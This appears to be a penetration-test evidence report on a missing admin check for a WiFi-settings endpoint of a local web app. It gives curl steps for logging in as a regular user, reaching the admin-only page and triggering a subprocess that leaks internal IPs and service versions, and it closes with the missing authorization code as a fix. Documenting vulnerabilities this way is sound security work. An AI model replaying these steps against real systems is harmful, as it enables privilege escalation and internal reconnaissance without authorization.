# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-09: Missing Admin Authorization on WiFi Settings Endpoint

**Summary:**
- **Vulnerable location:** `/wifi_settings` (GET/POST) at `/app/website/app/routes.py:124-141`
- **Overview:** Regular authenticated users can access system-level WiFi configuration interface and trigger internal API reconnaissance via subprocess SSRF. The endpoint requires authentication via `verify_session()` but fails to check the `is_admin` flag despite WiFi configuration being administrative functionality.
- **Impact:** Vertical privilege escalation enabling non-admin users to access WiFi configuration interface and perform internal network reconnaissance. The subprocess disclosure reveals internal network topology, service versions, and routing architecture.
- **Severity:** HIGH

**Prerequisites:**
- Valid user account (regular privileges)
- Network access to http://localhost:38539

**Exploitation Steps:**

**Step 1: Authenticate as Regular User**

Login with the test account (non-admin):

```bash
curl -c /tmp/cookies.txt -X POST http://localhost:38539/login \
  -d "username=test" \
  -d "password=test"
```

**Expected Result:** HTTP 302 redirect to /dashboard with session cookie

**Session Cookie Example:**
```
session=jrvaENrjDnc7G6_z2ehsdXa-NbJHuQzie1F7vexD3RM; Expires=Sat, 29 Nov 2025 23:56:36 GMT; HttpOnly; Path=/
```

**Step 2: Verify Non-Admin Status**

Confirm the test user lacks admin privileges:

```bash
curl -b /tmp/cookies.txt http://localhost:38539/admin_panel
```

**Expected Result:** Error message "Only administrator users can open this section" confirms test user is NOT an admin.

**Step 3: Access WiFi Settings (Privilege Escalation)**

Access the WiFi configuration interface with the regular user session:

```bash
curl -b /tmp/cookies.txt http://localhost:38539/wifi_settings
```

**Expected Result:** Full WiFi configuration form rendered with SSID, password, and security fields.

**Proof:** Page contains:
- `<title>Dashboard</title>`
- `<input type="text" class="form-control" id="ssid" placeholder="Enter SSID">`
- `<label for="security">Security</label>`
- WiFi security dropdown options

**Step 4: Trigger Internal Reconnaissance (SSRF)**

Submit WiFi configuration to trigger subprocess execution:

```bash
curl -b /tmp/cookies.txt -X POST http://localhost:38539/wifi_settings \
  -d "ssid=test" \
  -d "password=test" \
  -d "security=WPA"
```

**Expected Result:** Subprocess curl output disclosed in `<pre>` section showing internal network details.

**Proof of Impact:**

**Internal Network Information Disclosed:**

From the subprocess output visible to regular users:

```
* Uses proxy env variable NO_PROXY == 'local,169.254/16'
*   Trying 10.89.54.5:8001...
* Connected to haproxy (10.89.54.5) port 8001 (#0)
> GET /devices/wifi_chipset/status HTTP/1.1
> Host: internal.router
> User-Agent: curl/7.74.0
> Accept: */*
> 
< HTTP/1.1 500 INTERNAL SERVER ERROR
< Server: Apache/2.4.65 (Debian)
< X-Forwarded-Host: internal.router
< X-Upstream-Proxy: mitmproxy (6.0.2)
< Via: haproxy (2.0.5)
```

**Sensitive Information Extracted:**

1. **Internal IP Address:** HAProxy service at 10.89.54.5:8001
2. **Service Versions:**
   - Apache/2.4.65 (Debian)
   - curl/7.74.0 in container
   - mitmproxy 6.0.2
   - HAProxy 2.0.5
3. **Network Architecture:**
   - Reverse proxy chain confirmed: mitmproxy → HAProxy → Apache
   - Virtual host routing to `internal.router`
   - Internal API accessible at `/devices/wifi_chipset/status`
4. **Environment Variables:** NO_PROXY configuration exposed
5. **Boot Sequence Details:** Complete WiFi chipset initialization logs visible

**Authorization Bypass Confirmed:**

The application explicitly states in the dashboard:
> "Additionally, certain advanced features are exclusively accessible to Administrator users, granting them additional control over network management."

WiFi configuration is clearly intended as an admin-only feature, yet:
- ✅ Test user (is_admin=False) successfully accessed WiFi settings interface
- ✅ Test user triggered subprocess execution to internal API
- ✅ Test user received complete internal reconnaissance data
- ✅ Admin panel correctly blocks test user with authorization error
- ❌ WiFi settings page has NO admin check despite being administrative functionality

**Notes:**

The vulnerability exists due to missing authorization check in the code. The endpoint calls `verify_session()` for authentication (routes.py:127) but never validates the `is_admin` flag that exists in the User model (models.py:13).

**Missing Code Pattern:**

After the session verification at line 127, the code should check:
```python
user = User.query.filter_by(username=session.get('username')).first()
if not user.is_admin:
    return render_template('error.html', error='Admin access required'), 403
```

This check exists for the admin panel (routes.py:88-101) but is completely absent from wifi_settings despite both being administrative functions.

**Additional Security Implications:**

While the current implementation has hardcoded subprocess parameters (no direct SSRF), the disclosure of verbose curl output creates an information channel for:
- Internal network enumeration
- Service version fingerprinting
- Architecture reconnaissance
- Potential blind SSRF testing if parameters become user-controllable in future updates